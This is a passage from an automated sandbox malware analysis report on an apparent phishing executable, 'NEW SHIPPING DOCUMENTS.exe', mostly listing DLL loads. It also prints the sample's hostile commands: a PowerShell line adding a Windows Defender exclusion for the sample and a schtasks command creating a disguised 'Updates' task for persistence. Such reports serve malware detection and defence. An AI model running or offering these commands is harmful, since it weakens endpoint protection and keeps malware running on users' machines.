Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: NEW SHIPPING DOCUMENTS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: NEW SHIPPING DOCUMENTS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: NEW SHIPPING DOCUMENTS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: AnYI.pdb source: NEW SHIPPING DOCUMENTS.exe, RvUJzKx.exe.0.dr
Source:	Binary string: AnYI.pdbSHA256 source: NEW SHIPPING DOCUMENTS.exe, RvUJzKx.exe.0.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"			Jump to behavior

Source: NEW SHIPPING DOCUMENTS.exe

Static PE information: 0xEAEA3A7C [Sun Nov 21 23:02:20 2094 UTC]

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706D573 push ecx; ret	0_2_0706D574
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706A260 pushad ; retf	0_2_0706A261
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706B082 push eax; iretd	0_2_0706B089
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0709B7A2 push esp; retf	0_2_0709B7A9
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07411668 push 10073FBDh; iretd	0_2_074116A5
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07411698 push 10073FBDh; iretd	0_2_074116A5
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07411D2A pushfd ; ret	0_2_07411D31
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07411CB8 push eax; ret	0_2_07411CB9
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_01520C45 push ebx; retf	9_2_01520C52
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_01520CCB push edi; retf	9_2_01520C7A
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554D573 push ecx; ret	10_2_0554D574
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554A260 pushad ; retf	10_2_0554A261
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0848CACE push ecx; ret	10_2_0848CACF
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_0124E78F push ds; iretd	14_2_0124E793
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_01240C45 push ebx; retf	14_2_01240C52
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_01240CCB push edi; retf	14_2_01240C7A

Source: NEW SHIPPING DOCUMENTS.exe	Static PE information: section name: .text entropy: 7.622432389649315
Source: RvUJzKx.exe.0.dr	Static PE information: section name: .text entropy: 7.622432389649315

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

File created: C:\Users\user\AppData\Roaming\RvUJzKx.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
